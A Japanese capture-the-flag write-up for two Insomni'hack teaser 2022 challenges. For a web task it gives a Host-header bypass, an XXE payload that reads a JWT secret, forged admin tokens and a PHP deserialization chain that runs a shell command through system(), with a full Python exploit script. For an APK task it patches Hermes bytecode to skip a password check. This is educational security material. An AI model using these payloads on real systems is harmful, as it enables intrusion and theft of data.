Insomni'hack teaser 2022(2022年1月29日21:00~2022年1月30日21:00)にチームKUDoSとして参加しました。順位は全体で58位でした。
PimpMyVariant (Web, 76pts)
サーバー側のソースコード等は提供されておらず問題文に記載のURLのみです。
記載のURLのページにアクセスしてみますが、特にブラウザ画面で操作できる機能があるわけではないようです。
/robots.txt
にアクセスすると、下記のようにサーバー側のエンドポイントが記載されていることが分かります。
試しに/flag.txt
にアクセスしてみましたがflagは入手できませんでした。
他のエンドポイントを調べていきます。
/readme /new /log /flag.txt /todo.txt
/readme
にアクセスすると次のようなメッセージが含まれたレスポンスが返ってきます。
Hostname not allowed
リクエストでhostnameに関連する何かを変更すれば突破できそうです。
リクエストHTTPヘッダに Host: 127.0.0.1
を設定することで、/readme
は以下のようなレスポンスになりました。
#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file
同様の方法で/log
にアクセスすると、以下のレスポンスが返ってきます。
データをPOSTできる/api
というエンドポイントがあるようです。
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title> </head><body> <h1>New variant</h1> <form method="post" enctype="application/x-www-form-urlencoded" id="variant_form"> Guess the next variant name : <input type="text" name="variant_name" id="variant_name" placeholder="inso-micron ?" /><br /> <input type="submit" name="Bet on this" /> </form> <script type="text/javascript"> document.getElementById('variant_form').onsubmit = function(){ var variant_name=document.getElementById('variant_name').value; postData('/api', "<?xml version='1.0' encoding='utf-8'?><root><name>"+variant_name+"</name></root>") .then(data => { window.location.href='/'; }); return false; } async function postData(url = '', data = {}) { return await fetch(url, { method: 'POST', cache: 'no-cache', headers: { 'Content-Type': 'text/xml' }, redirect: 'manual', referrerPolicy: 'no-referrer', body: data }); } </script> </body></html>
variant_name
をtest
にしてリクエストを送信すると、次のようなSet-Cookieヘッダが付加されたレスポンスが返ってきます。
Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcIjE4NWE1ZmUzOGM1MDJiMTEzMmNiYThlNTFmM2M3ZDhkYWY4ZGMwYmNcIjt9fSIsImV4cCI6MTY0MzU2MDUzMn0.k8Mzbh0YG9zoRIjTxxUdtbZnW-7n-x_A0Q1SNQY-CaA
jwt.ioで見てみると次のような内容のペイロードが含まれています。variants
を見てみると、リクエストで指定したvariant_name
が追加された配列になっています。
{ "variants": [ "Alpha", "Beta", "Gamma", "Delta", "Omicron", "Lambda", "Epsilon", "Zeta", "Eta", "Theta", "Iota", "test" ], "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"2be09793f08e65d12a5fe04fca71324c84c65211\";}}", "exp": 1643560837 }
リクエストでXMLを送るようになっているので、XXEのペイロードを送ってみます。
読み出すファイルは最初の/readme
のメッセージに含まれていた/www/jwt.secret.txt
です。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/www/jwt.secret.txt"> ]><root><name>&example;</name></root>
variants
に/www/jwt.secret.txt
の内容が追加されていることが分かります。
{ "variants": [ "Alpha", "Beta", "Gamma", "Delta", "Omicron", "Lambda", "Epsilon", "Zeta", "Eta", "Theta", "Iota", "54b163783c46881f1fe7ee05f90334aa" ], "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"185a5fe38c502b1132cba8e51f3c7d8daf8dc0bc\";}}", "exp": 1643560532 }
読み出したファイルのファイル名から推測するに、54b163783c46881f1fe7ee05f90334aa
はjwtのsecretの文字列だと思われます。
また、上記のsettings
を見てみるとPHPのserialize関数で出力された文字列のように見えます。
この中にisAdmin
という気になるプロパティがあります。
実は最初の段階で普通に/log
にアクセスすると、以下のようなレスポンスが返ってきており、何かしらの方法でadminかどうかを判定していることが示唆されています。
Access restricted to admin only
よって、isAdmin
プロパティをtrueにしたjwtトークンを送信することでadminとして判定されるようになると考えられます。
jwtトークンを編集し、XXEで得られたsecretで署名して送信してみると/log
は次のようなレスポンスとなりました。
<html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title> </head><body> <h1>Logs</h1> <textarea style="width:100%; height:100%; border:0px;" disabled="disabled"> [2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36 Stack trace: #0 {main} thrown in /www/log.php on line 37 #0 {UpdateLogViewer::read} thrown in /www/UpdateLogViewer.inc on line 26 </textarea> </body></html>
UpdateLogViewer.inc
というファイル内で発生したエラーのログが表示されます。
このファイルは/UpdateLogViewer.inc
にアクセスすることで入手できました。内容は次の通りです。
<?php class UpdateLogViewer { public string $packgeName; public string $logCmdReader; private static ?UpdateLogViewer $singleton = null; private function __construct(string $packgeName) { $this->packgeName = $packgeName; $this->logCmdReader = 'cat'; } public static function instance() : UpdateLogViewer { if( !isset(self::$singleton) || self::$singleton === null ){ $c = __CLASS__; self::$singleton = new $c("$c"); } return self::$singleton; } public static function read():string { return system(self::logFile()); } public static function logFile():string { return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'; // system関数によって実行されるコマンド } public function __wakeup()// serialize { self::$singleton = $this; } };
ログの内容からすると、/log
にアクセスすることで、このUpdateLogViewer
のreadが実行されているものと思われます。
さらにread関数内では$logCmdReader
から作成された文字列を引数としてsystem関数を実行するようになっており、これを利用することでRCEができそうです。
また、UpdateLogViewer
には、__wakeup
が定義されています。この関数は、deserializeの際に呼ばれる関数の一つとなっており、処理内容を見るとクラスのstaticプロパティであるsingleton
に自身のオブジェクトを設定しています。
以上のことから、$logCmdReader
プロパティに実行したいコマンドを設定したUpdateLogViewer
を含めた上で、deserialize処理を走らせ、/log
にアクセスすることでRCEになるようです。
このdeserializeの処理は、/log
にリクエストを送る際の、jwtのペイロード中のsettings
に設定された文字列に対して走ることが分かっているので、この中に含めれば良さそうです。
最終的に以下のスクリプトで/www/flag.txt
に含まれているflagを表示できました。
import requests import jwt BASE_URL = 'http://pimpmyvariant.insomnihack.ch' name = 'hogehoge' # body = f'<?xml version="1.0" encoding="utf-8"?><root><name>test</name></root>' body = f'<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ENTITY example SYSTEM "/www/jwt.secret.txt"> ]><root><name>&example;</name></root>' headers = { 'Host': '127.0.0.1', 'Content-Type': 'application/xml' } r = requests.post(BASE_URL + '/api', headers=headers, data=body, allow_redirects=False) print(r.headers) # print(r.cookies['jwt']) data = r.cookies['jwt'] result = jwt.decode(data, '54b163783c46881f1fe7ee05f90334aa', algorithms=['HS256']) print(result) cmd = 'cat /www/flag.txt;' # result['settings'] = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"bfb70eefb03ead823cb059185f13226ee9d5d690";}' result['settings'] = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:4:"Anon";s:7:"isAdmin";b:1;s:2:"id";s:40:"bfb70eefb03ead823cb059185f13226ee9d5d690";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:0:"";s:12:"logCmdReader";s:'+str(len(cmd))+':"'+cmd+'";}}' data2 = jwt.encode(result, '54b163783c46881f1fe7ee05f90334aa', algorithm='HS256') print(data2) cookies = { 'jwt': data2.decode() } r = requests.get(BASE_URL + '/log', headers=headers, cookies=cookies, allow_redirects=False) print(r.text)
flag: INS{P!mpmYV4rianThat's1flag}
Herald (Reversing, 93pts)
apkファイルが与えられるので、エミュレータにインストールして起動してみます。 ユーザー名とパスワードが入力できるログイン画面が表示されます。 適当にユーザー名とパスワードを入力しますが、エラーになってしまいます。
ひとまず、与えられたapkファイルをapktoolを使って展開します。
$ apktool d Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk
展開されたファイルの中身を見てみると、React Nativeに関する文字列が含まれており、React Nativeで作成されたアプリであることが分かります。
assets
以下に含まれているindex.android.bundle
というファイルが気になります。
fileコマンドで調べてみると次のような出力が得られました。
$ file index.android.bundle index.android.bundle: Hermes JavaScript bytecode, version 84
調べてみると、HermesというReact Nativeで使用されているJavaScriptの実行エンジンがあるようです。 このファイルは、この実行エンジンで実行されるバイトコードが含まれるファイルのようです。
Java側(com.herald)にも特に目立った処理が書かれていなかったため、恐らく今回のアプリのメインの処理はこの中に書かれており、flagに関連する処理もあるものと思われます。
このファイルを逆アセンブルするツールがないかを探したところ、hbctoolというツールがあることが分かりました。 早速、次のコマンドで実行してみますがversionが対応していない旨のエラーになってしまいます。今回のファイルはfileコマンドでも出力されている通り、version 84なのですが、どうやら現時点ではversion 76までしか対応していないようです。
$ hbctool disasm index.android.bundle output
あるIssueについているコメントを見ると、84に対応したバージョンを作ってくれた人がいるようなのでこちらを利用すると無事に逆アセンブルができました。
また、Hermes公式からダウンロードできるcliツールを利用しても逆アセンブルすることができました。 以降の逆アセンブルはこちらの出力結果を見ることにします。
$ hermes -b --dump-bytecode index.android.bundle
逆アセンブル結果の中で、最初にアプリを触った際のログイン画面で表示されたメッセージを検索してみます。 次の部分がログイン処理に該当する部分と思われます。
Function<tryAuth>(3 params, 13 registers, 0 symbols): LoadThisNS r2 GetByIdShort r0, r2, 1, "state" GetById r0, r0, 2, "username" LoadConstString r1, "admin" JStrictNotEqual L1, r0, r1 GetByIdShort r0, r2, 1, "state" GetById r3, r0, 3, "password" GetById r4, r2, 4, "decodedText" NewArrayWithBuffer r0, 28, 28, 9398 Call2 r0, r4, r2, r0 JStrictEqual L2, r3, r0 L1: GetByIdShort r0, r2, 1, "state" GetById r0, r0, 2, "username" JStrictEqual L3, r0, r1 GetEnvironment r0, 1 LoadFromEnvironment r0, r0, 6 GetById r3, r0, 5, "Alert" GetById r0, r3, 6, "alert" LoadConstString r1, "Wrong Username/Pa"... Call2 r0, r0, r3, r1 GetById r0, r2, 7, "setPrint" Call2 r0, r0, r2, r1 Jmp L4 L3: GetEnvironment r0, 1 LoadFromEnvironment r0, r0, 6 GetById r3, r0, 5, "Alert" GetById r1, r3, 6, "alert" LoadConstString r0, "You are not the a"... Call2 r0, r1, r3, r0 GetById r1, r2, 7, "setPrint" LoadConstString r0, "Attack attempt de"... Call2 r0, r1, r2, r0 Jmp L4 L2: GetById r1, r2, 8, "decodedFlag" NewArrayWithBuffer r0, 43, 43, 9512 Call2 r0, r1, r2, r0 L4: GetEnvironment r0, 1 LoadFromEnvironment r0, r0, 6 GetById r1, r0, 9, "Keyboard" GetById r0, r1, 10, "dismiss" Call1 r0, r0, r1 LoadConstUndefined r0 Ret r0
アセンブリのオペランドの詳細に関するドキュメントが見当たらなかったので、とりあえずHermes公式が提供しているPlaygroundで得られた結果と見比べながら雰囲気をつかみます。
最初はdecodedFlag
の処理を見てflagを入手すると思い込み見ていたのですが、処理の中で参照しているデータの場所が分からず中々進みませんでした。
上記のログイン処理の逆アセンブリ部分に戻ってもう少し注意深く読んでみます。 まず、ユーザー名部分はadminにすることで次の段階に進みそうです。 次にパスワードの判定ですが、12行目のこの部分で一致を判定していることが分かりました。
JStrictEqual L2, r3, r0
よって、これを次のように変更することでパスワード判定部分を突破できそうです。
JStrictNotEqual L2, r3, r0
ここで下記の記事を読むと、先ほどのhbctoolが使えそうです。
hbctoolには逆アセンブルした結果を改変した後、アセンブルして元のファイルに戻すことができる機能があるので、これを利用します。
アセンブリを変更した後、次のコマンドでindex.android.bundle
に戻します。
$ hbctool asm output index.android.bundle
得られたindex.android.bundle
を元のapkに含まれているものと交換し、apktoolでapkファイルに戻します。
さらに、エミュレータにインストールができるようapksingerで署名します。
$ apktool b Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12 $ keytool -genkey -v -keystore app.keystore -alias signkey -keyalg RSA -keysize 2048 -validity 20000 $ cd Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12/dist $ apksigner sign --ks ../../app.keystore Herald-e3081153dbcbc3f2bcd6aa0453e8ec6f7055deaf5762aee0a794e28e58b8bb12.apk
署名されたapkファイルをインストールして、ユーザー名をadmin、パスワードを適当に入力することでflagが表示されました。
flag: INS{Y0u_Kn0W_aB0uT_Th3_Her4ld_0F_the_G0ds?}
decodedFlagのような他の部分の処理を詳細に追う必要はなかったようです。